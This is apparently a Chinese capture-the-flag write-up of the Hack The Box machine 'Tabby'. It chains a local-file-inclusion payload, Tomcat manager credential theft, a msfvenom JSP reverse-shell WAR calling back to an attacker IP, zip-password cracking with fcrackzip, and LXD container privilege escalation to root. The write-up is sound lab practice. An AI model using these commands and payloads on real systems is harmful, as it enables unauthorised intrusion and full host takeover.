Tabby
信息收集
域名:
- megahosting.htb
- megahosting.com
端口:
- 8080
- 80
- 22
megahosting.htb
URL | Notes | payloads |
---|---|---|
/news.php?file=statement | LFI | file=…/…/…/…/etc/passwd |
8080
Points | Notes |
---|---|
Web Sever | Tomcat V9.0.31 |
Host Server | Linux |
default Tomcat home page | /var/lib/tomcat9/webapps/ROOT/index.html (can read) |
CATALINA_HOME | /usr/share/tomcat9 |
CATALINA_BASE | /var/lib/tomcat9 |
following the rules from | /usr/share/doc/tomcat9-common/RUNNING.txt.gz (can read) |
tomcat9-docs | http://10.10.10.194:8080/docs/ |
tomcat9-examples | http://10.10.10.194:8080/examples/ |
tomcat9-admin | http://10.10.10.194:8080/manager/html & http://10.10.10.194:8080/host-manager/html (need userame and password) |
Users are defined in | /etc/tomcat9/tomcat-users.xml |
80
- Apache/2.4.41
- Ubuntu
/etc/passwd 的内容,可以看到有两个值得关注的用户:tomcat和ash
自己跟着教程部署了一遍tomcat9
tomcat9的tomcat-users.xml会在安装目录的conf下
Tabby的tomcat的安装目录是/usr/share/tomcat9
通过fuzz,conf被改成了etc
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
读取页面源代码,发现host-manager的登录密码:tomcat:$3cureP4s5w0rd123!
登录
Get Shell
在tomcat的文档中找到关于远程部署war包的一种方法
http://10.10.10.194:8080/docs/manager-howto.html
用msf生成一个war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.52 LPORT=2323 -f war > shell.war
用curl把war上传到Tabby中
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war http://10.10.10.194:8080/manager/text/deploy?path=/tabby-shell
-u 后的参数 一定要用单引号
curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/tabby-shell/
路径最后要加反斜杠/
python3 -c "import pty;pty.spawn('/bin/bash')"
成功getshell了
tomcat --> ash
根据之前找到的用户信息,可以明确下一步是要提权为ash用户
在/var/www/html中发现一个跟ash相关的文件夹,里面只有一个zip跟ash相关
访问http://10.10.10.194/files/16162020_backup.zip
,下载这个zip包
破解时需要密码,常规用fcrackzip尝试爆破
fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip -v
爆破出的密码是admin@it
su ash
cat /home/ash/user.txt
得到user的hash
ash --> root
查看ash用户的信息,发现这个用户属于不同的组别,其中有个lxd
通过Google到一篇lxd提权的文章:看我如何利用LXD实现权限提升
跟着文章的内容,一步一步往下走
https://github.com/saghul/lxd-alpine-builder/issues/1
cd lxd-alping-builder
./build-alpine
btw,这里可能会出问题,issue里面有解决方法,可以参考参考
在自己的操作机中开启python的http服务
python -m SimpleHTTPServer
然后在Tabby中执行下面步骤
wget http://10.10.14.52:8000/alpine-v3.12-x86_64-20201023_0314.tar.gz
lxc image import alpine-v3.12-x86_64-20201023_0314.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
如果出现了下图的问题,可以参考这篇文章:https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/
执行lxd init
所有设置均默认,执行完毕后,问题可以得到解决
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
cd /mnt/root/root
总结
- Tomcat定义host-manager和manager用户的路径:
/安装路径/conf(or etc)/tomcat-users.xml
- 注意看文件夹的用户属性
- lxd提权
附加
- 什么是lxc和lxd
lxc,linux Container,是一种轻量级虚拟化技术,lxc可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
lxd,Linux Daemon,是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的。
参考链接
- https://zhuanlan.zhihu.com/p/143981355
- https://www.freebuf.com/articles/system/216803.html
- https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/
- http://jimolonely.github.io/2019/08/20/server/009-tomcat9-doc-5-manager/